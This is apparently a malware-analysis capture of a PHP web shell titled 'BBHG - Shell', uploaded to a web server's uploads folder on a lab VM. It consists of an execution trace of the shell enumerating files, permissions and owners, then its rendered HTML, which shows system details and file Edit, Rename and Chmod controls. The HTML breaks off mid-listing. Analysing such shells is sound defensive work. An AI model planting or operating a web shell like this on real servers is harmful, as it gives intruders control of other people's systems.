1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	84	0	0.004976	438800	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html'
2	84	1	0.004990	438840
2	84	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	190	$color = 'yellow'
2	85	0	0.005013	438800	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html'
3	86	0	0.005026	438800	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html'
3	86	1	0.005039	438840
3	86	R			16895
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 16895
2		A						/var/www/html/uploads/bbhg.php	61	$info = 'd'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= 'x'
2	85	1	0.005163	438840
2	85	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = 'drwxrwxrwx'
2	87	0	0.005187	438800	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html'
2	87	1	0.005199	438840
2	87	R			4096
2	88	0	0.005212	438800	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	4096	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	89	0	0.005243	438800	floor	0		/var/www/html/uploads/bbhg.php	41	1	1
3	89	1	0.005256	438832
3	89	R			1
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 1
3	90	0	0.005279	438832	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	1
3	90	1	0.005292	438904
3	90	R			1024
3	91	0	0.005305	438832	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	4
3	91	1	0.005319	439216
3	91	R			'4.00'
2	88	1	0.005333	438832
2	88	R			'4.00kB'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '4.00kB'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	92	0	0.005404	438912	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html'
2	92	1	0.005424	439104
2	92	R			'/var/www/html'
2	93	0	0.005441	438928	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'[..]'
2	93	1	0.005458	439120
2	93	R			'[..]'
2	94	0	0.005476	438992	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html'
3	95	0	0.005494	438992	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	95	1	0.005514	439032
3	95	R			TRUE
3	96	0	0.005532	438992	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html'
3	96	1	0.005549	439032
3	96	R			0
3	97	0	0.005565	438992	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	0
3	97	1	0.005600	439792
3	97	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3	98	0	0.005648	439760	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html'
3	98	1	0.005661	439800
3	98	R			0
3	99	0	0.005674	439760	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	0
3	99	1	0.005697	440416
3	99	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2	94	1	0.005732	439032
2	94	R			'root / root'
2	100	0	0.005747	439056	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html'
2	100	1	0.005760	439096
2	100	R			1676251684
2	101	0	0.005773	439056	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	101	1	0.005807	439384
2	101	R			'2023-02-12 20:28:04'
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/.htaccess'
1		A						/var/www/html/uploads/bbhg.php	174	$name = '.htaccess'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
2	102	0	0.005855	438776	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html/uploads/.htaccess'
2	102	1	0.005872	438832
2	102	R			FALSE
2	103	0	0.005885	438792	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html/uploads/.htaccess'
2	103	1	0.005901	438832
2	103	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	104	0	0.005925	438792	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html/uploads/.htaccess'
2	104	1	0.005942	438832
2	104	R			FALSE
1		A						/var/www/html/uploads/bbhg.php	192	$color = 'red'
2	105	0	0.005975	438792	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html/uploads/.htaccess'
3	106	0	0.006000	438792	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html/uploads/.htaccess'
3	106	1	0.006018	438832
3	106	R			33188
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 33188
2		A						/var/www/html/uploads/bbhg.php	55	$info = '-'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= '-'
2	105	1	0.006138	438832
2	105	R			'-rw-r--r--'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = '-rw-r--r--'
2	107	0	0.006163	438792	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html/uploads/.htaccess'
2	107	1	0.006176	438832
2	107	R			64
2	108	0	0.006189	438792	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	64	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	109	0	0.006220	438792	floor	0		/var/www/html/uploads/bbhg.php	41	1	0.33333333333333
3	109	1	0.006232	438824
3	109	R			0
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 0
3	110	0	0.006256	438824	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	0
3	110	1	0.006270	438896
3	110	R			1
3	111	0	0.006283	438824	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	64
3	111	1	0.006297	439208
3	111	R			'64.00'
2	108	1	0.006311	438824
2	108	R			'64.00B'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '64.00B'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	112	0	0.006355	438904	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html/uploads/.htaccess'
2	112	1	0.006370	439096
2	112	R			'/var/www/html/uploads/.htaccess'
2	113	0	0.006385	438952	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'.htaccess'
2	113	1	0.006398	439144
2	113	R			'.htaccess'
2	114	0	0.006412	439016	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html/uploads/.htaccess'
3	115	0	0.006425	439016	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	115	1	0.006439	439056
3	115	R			TRUE
3	116	0	0.006452	439016	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html/uploads/.htaccess'
3	116	1	0.006465	439056
3	116	R			0
3	117	0	0.006478	439016	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	0
3	117	1	0.006505	439816
3	117	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3	118	0	0.006546	439784	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html/uploads/.htaccess'
3	118	1	0.006560	439824
3	118	R			0
3	119	0	0.006572	439784	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	0
3	119	1	0.006594	440440
3	119	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2	114	1	0.006628	439056
2	114	R			'root / root'
2	120	0	0.006643	439112	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html/uploads/.htaccess'
2	120	1	0.006657	439152
2	120	R			1676251684
2	121	0	0.006670	439112	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	121	1	0.006702	439440
2	121	R			'2023-02-12 20:28:04'
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/bbhg.php'
1		A						/var/www/html/uploads/bbhg.php	174	$name = 'bbhg.php'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
2	122	0	0.006749	438792	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html/uploads/bbhg.php'
2	122	1	0.006765	438832
2	122	R			FALSE
2	123	0	0.006783	438792	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html/uploads/bbhg.php'
2	123	1	0.006799	438832
2	123	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	124	0	0.006823	438792	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html/uploads/bbhg.php'
2	124	1	0.006838	438832
2	124	R			FALSE
1		A						/var/www/html/uploads/bbhg.php	192	$color = 'red'
2	125	0	0.006861	438792	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html/uploads/bbhg.php'
3	126	0	0.006873	438792	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html/uploads/bbhg.php'
3	126	1	0.006886	438832
3	126	R			33204
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 33204
2		A						/var/www/html/uploads/bbhg.php	55	$info = '-'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= '-'
2	125	1	0.007004	438832
2	125	R			'-rw-rw-r--'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = '-rw-rw-r--'
2	127	0	0.007028	438792	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html/uploads/bbhg.php'
2	127	1	0.007041	438832
2	127	R			6218
2	128	0	0.007054	438792	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	6218	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	129	0	0.007084	438792	floor	0		/var/www/html/uploads/bbhg.php	41	1	1
3	129	1	0.007096	438824
3	129	R			1
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 1
3	130	0	0.007120	438824	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	1
3	130	1	0.007133	438896
3	130	R			1024
3	131	0	0.007146	438824	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	6.072265625
3	131	1	0.007160	439208
3	131	R			'6.07'
2	128	1	0.007174	438824
2	128	R			'6.07kB'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '6.07kB'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	132	0	0.007218	438904	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html/uploads/bbhg.php'
2	132	1	0.007232	439096
2	132	R			'/var/www/html/uploads/bbhg.php'
2	133	0	0.007248	438952	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'bbhg.php'
2	133	1	0.007262	439144
2	133	R			'bbhg.php'
2	134	0	0.007276	438984	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html/uploads/bbhg.php'
3	135	0	0.007289	438984	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	135	1	0.007302	439024
3	135	R			TRUE
3	136	0	0.007315	438984	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html/uploads/bbhg.php'
3	136	1	0.007328	439024
3	136	R			1000
3	137	0	0.007340	438984	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	1000
3	137	1	0.007371	439800
3	137	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3	138	0	0.007413	439768	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html/uploads/bbhg.php'
3	138	1	0.007427	439808
3	138	R			1000
3	139	0	0.007439	439768	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	1000
3	139	1	0.007470	440424
3	139	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
2	134	1	0.007505	439032
2	134	R			'osboxes / osboxes'
2	140	0	0.007520	439112	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html/uploads/bbhg.php'
2	140	1	0.007533	439152
2	140	R			1676251684
2	141	0	0.007550	439112	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	141	1	0.007583	439440
2	141	R			'2023-02-12 20:28:04'
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/data'
1		A						/var/www/html/uploads/bbhg.php	174	$name = 'data'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
2	142	0	0.007629	438792	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html/uploads/data'
2	142	1	0.007644	438832
2	142	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	183	$name = '[data]'
1		A						/var/www/html/uploads/bbhg.php	184	$fcolor = 'green'
2	143	0	0.007678	438824	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html/uploads/data'
2	143	1	0.007694	438864
2	143	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	144	0	0.007717	438824	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html/uploads/data'
2	144	1	0.007732	438864
2	144	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	190	$color = 'yellow'
2	145	0	0.007755	438824	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html/uploads/data'
3	146	0	0.007767	438824	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html/uploads/data'
3	146	1	0.007780	438864
3	146	R			16895
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 16895
2		A						/var/www/html/uploads/bbhg.php	61	$info = 'd'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= 'x'
2	145	1	0.007898	438864
2	145	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = 'drwxrwxrwx'
2	147	0	0.007922	438824	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html/uploads/data'
2	147	1	0.007935	438864
2	147	R			4096
2	148	0	0.007948	438824	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	4096	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	149	0	0.007979	438824	floor	0		/var/www/html/uploads/bbhg.php	41	1	1
3	149	1	0.007991	438856
3	149	R			1
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 1
3	150	0	0.008014	438856	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	1
3	150	1	0.008027	438928
3	150	R			1024
3	151	0	0.008040	438856	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	4
3	151	1	0.008054	439240
3	151	R			'4.00'
2	148	1	0.008067	438856
2	148	R			'4.00kB'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '4.00kB'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	152	0	0.008110	438936	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html/uploads/data'
2	152	1	0.008124	439128
2	152	R			'/var/www/html/uploads/data'
2	153	0	0.008139	438984	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'[data]'
2	153	1	0.008152	439176
2	153	R			'[data]'
2	154	0	0.008166	439016	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html/uploads/data'
3	155	0	0.008179	439016	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	155	1	0.008192	439056
3	155	R			TRUE
3	156	0	0.008205	439016	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html/uploads/data'
3	156	1	0.008218	439056
3	156	R			0
3	157	0	0.008230	439016	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	0
3	157	1	0.008252	439816
3	157	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3	158	0	0.008293	439784	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html/uploads/data'
3	158	1	0.008310	439824
3	158	R			0
3	159	0	0.008323	439784	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	0
3	159	1	0.008345	440440
3	159	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2	154	1	0.008379	439056
2	154	R			'root / root'
2	160	0	0.008394	439144	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html/uploads/data'
2	160	1	0.008408	439184
2	160	R			1676251684
2	161	0	0.008421	439144	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	161	1	0.008452	439472
2	161	R			'2023-02-12 20:28:04'
1		A						/var/www/html/uploads/bbhg.php	173	$fullpath = '/var/www/html/uploads/prepend.php'
1		A						/var/www/html/uploads/bbhg.php	174	$name = 'prepend.php'
1		A						/var/www/html/uploads/bbhg.php	175	$fcolor = 'white'
2	162	0	0.008507	438912	is_dir	0		/var/www/html/uploads/bbhg.php	182	1	'/var/www/html/uploads/prepend.php'
2	162	1	0.008523	438960
2	162	R			FALSE
2	163	0	0.008537	438920	is_readable	0		/var/www/html/uploads/bbhg.php	186	1	'/var/www/html/uploads/prepend.php'
2	163	1	0.008553	438960
2	163	R			TRUE
1		A						/var/www/html/uploads/bbhg.php	187	$color = 'green'
2	164	0	0.008577	438920	is_writeable	0		/var/www/html/uploads/bbhg.php	189	1	'/var/www/html/uploads/prepend.php'
2	164	1	0.008592	438960
2	164	R			FALSE
1		A						/var/www/html/uploads/bbhg.php	192	$color = 'red'
2	165	0	0.008615	438920	perm	1		/var/www/html/uploads/bbhg.php	194	1	'/var/www/html/uploads/prepend.php'
3	166	0	0.008628	438920	fileperms	0		/var/www/html/uploads/bbhg.php	45	1	'/var/www/html/uploads/prepend.php'
3	166	1	0.008642	438960
3	166	R			33261
2		A						/var/www/html/uploads/bbhg.php	45	$perms = 33261
2		A						/var/www/html/uploads/bbhg.php	55	$info = '-'
2		A						/var/www/html/uploads/bbhg.php	74	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	75	$info .= 'w'
2		A						/var/www/html/uploads/bbhg.php	78	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	81	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	82	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	85	$info .= 'x'
2		A						/var/www/html/uploads/bbhg.php	88	$info .= 'r'
2		A						/var/www/html/uploads/bbhg.php	89	$info .= '-'
2		A						/var/www/html/uploads/bbhg.php	92	$info .= 'x'
2	165	1	0.008766	438960
2	165	R			'-rwxr-xr-x'
1		A						/var/www/html/uploads/bbhg.php	194	$perm = '-rwxr-xr-x'
2	167	0	0.008791	438920	filesize	0		/var/www/html/uploads/bbhg.php	195	1	'/var/www/html/uploads/prepend.php'
2	167	1	0.008804	438960
2	167	R			57
2	168	0	0.008817	438920	human_readable	1		/var/www/html/uploads/bbhg.php	195	2	57	???
2		A						/var/www/html/uploads/bbhg.php	40	$size = [0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB', 4 => 'TB', 5 => 'PB', 6 => 'EB', 7 => 'ZB', 8 => 'YB']
3	169	0	0.008847	438920	floor	0		/var/www/html/uploads/bbhg.php	41	1	0.33333333333333
3	169	1	0.008859	438952
3	169	R			0
2		A						/var/www/html/uploads/bbhg.php	41	$factor = 0
3	170	0	0.008882	438952	pow	0		/var/www/html/uploads/bbhg.php	42	2	1024	0
3	170	1	0.008895	439024
3	170	R			1
3	171	0	0.008908	438952	sprintf	0		/var/www/html/uploads/bbhg.php	42	2	'%.2f'	57
3	171	1	0.008922	439336
3	171	R			'57.00'
2	168	1	0.008935	438952
2	168	R			'57.00B'
1		A						/var/www/html/uploads/bbhg.php	195	$size = '57.00B'
1		A						/var/www/html/uploads/bbhg.php	196	$dir_list = ''
1		A						/var/www/html/uploads/bbhg.php	197	$file_list = ''
2	172	0	0.008979	439032	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'/var/www/html/uploads/prepend.php'
2	172	1	0.008993	439224
2	172	R			'/var/www/html/uploads/prepend.php'
2	173	0	0.009009	439080	htmlspecialchars	0		/var/www/html/uploads/bbhg.php	199	1	'prepend.php'
2	173	1	0.009022	439272
2	173	R			'prepend.php'
2	174	0	0.009036	439144	get_owner	1		/var/www/html/uploads/bbhg.php	201	1	'/var/www/html/uploads/prepend.php'
3	175	0	0.009049	439144	function_exists	0		/var/www/html/uploads/bbhg.php	31	1	'posix_getpwuid'
3	175	1	0.009062	439184
3	175	R			TRUE
3	176	0	0.009075	439144	fileowner	0		/var/www/html/uploads/bbhg.php	32	1	'/var/www/html/uploads/prepend.php'
3	176	1	0.009092	439184
3	176	R			0
3	177	0	0.009105	439144	posix_getpwuid	0		/var/www/html/uploads/bbhg.php	32	1	0
3	177	1	0.009128	439944
3	177	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/bbhg.php	32	$user = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3	178	0	0.009169	439912	fileowner	0		/var/www/html/uploads/bbhg.php	36	1	'/var/www/html/uploads/prepend.php'
3	178	1	0.009194	439952
3	178	R			0
3	179	0	0.009212	439912	posix_getgrgid	0		/var/www/html/uploads/bbhg.php	36	1	0
3	179	1	0.009239	440568
3	179	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2		A						/var/www/html/uploads/bbhg.php	36	$group = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
2	174	1	0.009275	439184
2	174	R			'root / root'
2	180	0	0.009290	439240	filemtime	0		/var/www/html/uploads/bbhg.php	203	1	'/var/www/html/uploads/prepend.php'
2	180	1	0.009303	439280
2	180	R			1676251684
2	181	0	0.009316	439240	date	0		/var/www/html/uploads/bbhg.php	203	2	'Y-m-d H:i:s'	1676251684
2	181	1	0.009374	439568
2	181	R			'2023-02-12 20:28:04'
1	3	1	0.009392	438920
			0.009425	337544
TRACE END   [2023-02-12 23:28:30.655814]


Generated HTML code

<html lang="en-US"><head>
<title>BBHG - Shell</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.2">
<style>
body {
  color: white;
  font-size: 22px;
padding: 0;
  margin: 0;
}
table, th, td {
  border: 5px #333399 dotted;
  text-align: center;
 
}
a {
  text-decoration: none;
  color: ;
}
</style></head>

<body bgcolor="black">
<h2>System Information</h2>
<b style="color: #90EE90;">Uname : </b><font style="font-size: 21px;">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font>

<br>
<b style="color: #90EE90;">Host Name : </b>osboxes<br><b style="color: #90EE90;">User / Group : </b>www-data<font style="color: yellow;"><b> / </b></font>www-data<br><b style="color: #90EE90;">Web Root : </b><font style="font-size: 25px;">/var/www/html</font><center>
  
PATH : [ <font style="font-size: 20.2px;"><a style="color: red;" href="?dir=/">/</a><a style="color: green;" href="?dir=/var">var</a><font style="color: red">/</font><a style="color: green;" href="?dir=/var/www">www</a><font style="color: red">/</font><a style="color: green;" href="?dir=/var/www/html">html</a><font style="color: red">/</font>]<br>[ <a style="color: yellow;" href="bbhg.php">Home</a> ]</font>
<table style="width:100%; font-size: 28px;">
  <tbody><tr>
    <th>Name</th>
    <th>Size</th>
    <th>Owner / Group</th>
    <th>Permission</th>
    <th>Modify</th>
    <th>Option</th>
  </tr>
<tr>
   <td style="text-align: left; width:50px;"><a style="color: green;" href="?dir=/var/www/html">[.]</a></td>
    <td>4.00kB</td>
    <td>root / root</td>
    <th style="color:yellow;">drwxrwxrwx</th>
    <td>2023-02-12 20:27:58</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr><tr>
   <td style="text-align: left; width:50px;"><a style="color: green;" href="?dir=/var/www">[..]</a></td>
    <td>4.00kB</td>
    <td>root / root</td>
    <th style="color:yellow;">drwxrwxrwx</th>
    <td>2023-02-12 20:27:58</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr><tr>
   <td style="text-align: left; width:50px;"><a style="color: white;" href="?dir=/var/www/html/bbhg.php">bbhg.php</a></td>
    <td>6.07kB</td>
    <td>osboxes / osboxes</td>
    <th style="color:red;">-rw-rw-r--</th>
    <td>2023-02-12 20:27:58</td>
    <td><form action="" method="post"><select name="option" style="width:100%" onchange="this.form.submit()">
  <option style="width:100%">Option</option>
    <option style="width:100%">Edit</option>
  <option style="width:100%">Rename</option>
  <option style="width:100%">Chmod</option>
</select></form></td>
  </tr><tr>
   <td style="text-align: left; width:50px;"><a style="color: white;" href="?dir=/var/www/html/beneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
